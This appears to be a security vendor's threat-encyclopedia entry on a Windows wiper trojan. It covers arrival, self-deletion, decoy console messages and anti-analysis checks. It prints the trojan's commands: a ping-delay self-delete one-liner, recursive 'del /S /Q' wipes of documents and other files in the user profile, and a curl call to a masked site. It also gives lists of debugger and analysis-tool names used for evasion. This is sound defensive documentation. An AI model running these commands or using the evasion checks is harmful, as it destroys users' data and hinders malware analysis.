Trojan.Win32.VIGILANTCLEANER.ZKIG

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes then deletes itself afterward.

However, as of this writing, the said sites are inaccessible.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

• cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "{Malware Path}\{MalwareName}"
• If anti-analysis checks are bypassed:
  • %System%\cmd.exe /c echo Microsoft Windows 10 self error check has been ready...
  • %System%\cmd.exe /c echo Copyright (C) 2003-2015 Microsoft Corporation
  • %System%\cmd.exe /c echo Copyright (C) 2003-2021 Adobe Corporation
  • %System%\cmd.exe /c echo DO NOT STOP THE PROCESS
  • %System%\cmd.exe /c echo Wait a minute...
  • %System%\cmd.exe /c @echo OFF
  • %System%\cmd.exe /c del /S /Q *.doc %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.docm %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.docx %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.dot %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.dotm %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.dotx %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.pdf %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.csv %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.xls %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.xlsx %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.xlsm %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.ppt %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.pptx %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.pptm %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.jtdc %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.jttc %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.jtd %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.jtt %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.txt %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.exe %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.log %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c curl -s -e https://www.x{BLOCKED}.com -A "Mozilla / 5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko / 20100101 Firefox / 66.0" https://www.x{BLOCKED}.com/video64080443/_ > nul

It executes then deletes itself afterward.

Other System Modifications

This Trojan deletes the following files:

• inside the following directories:
  • %User Profile%
  • {Malware Path}
• with the following extensions:
  • *.doc
  • *.docm
  • *.docx
  • *.dot
  • *.dotm
  • *.dotx
  • *.pdf
  • *.csv
  • *.xls
  • *.xlsx
  • *.xlsm
  • *.ppt
  • *.pptx
  • *.pptm
  • *.jtdc
  • *.jttc
  • *.jtd
  • *.jtt
  • *.txt
  • *.exe
  • *.log

(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name} on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other Details

This Trojan checks for the presence of the following process(es):

• Wireshark.exe
• apateDNS.exe
• Autoruns.exe
• bindiff.exe
• idaq.exe
• idaq64.exe
• Procmon.exe
• x64dbg.exe
• x32dbg.exe
• ollydbg.exe
• ImmunityDebugger.exe
• VBoxTray.exe
• VBoxService.exe
• msedge.exe
• VirtualBox.exe
• javaw.exe
• x96dbg.exe
• idaw.exe
• windbg.exe
• dnSpy.exe
• HxD.exe
• Scylla_x64.exe
• Scylla_x86.exe
• regmon.exe
• procexp.exe
• procexp64.exe
• Tcpview.exe
• smsniff.exe
• Fakenet.exe
• netmon.exe
• PEiD.exe
• LordPE.exe
• PE-bear.exe
• PPEE.exe
• die.exe
• diel.exe
• pexplorer.exe
• depends.exe
• ResourceHacker.exe
• FileAlyzer2.exe
• processhacker.exe
• Regshot-x64-Unicode.exe

It does the following:

• It logs its routine in the console.
• It attempts to connect to the following URL:
  • https://www.x{BLOCKED}.com/video64080443/_
  • with the following specifications:
    • Referrer: https://www.x{BLOCKED}.com
    • User-Agent: Mozilla / 5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko / 20100101 Firefox / 66.0

However, as of this writing, the said sites are inaccessible.

It terminates itself if windows or classes contain any of the following string(s):

• PROCMON_WINDOW_CLASS
• OllyDbg
• TIdaWindow
• WinDbgFrameClass
• FilemonClass
• ID
• RegmonClass
• PROCEXPL
• TCPViewClass
• SmartSniff
• Autoruns
• CNetmonMainFrame
• TFormFileAlyzer2
• ProcessHacker

It does not proceed to its malicious routine if it detects that it is being debugged.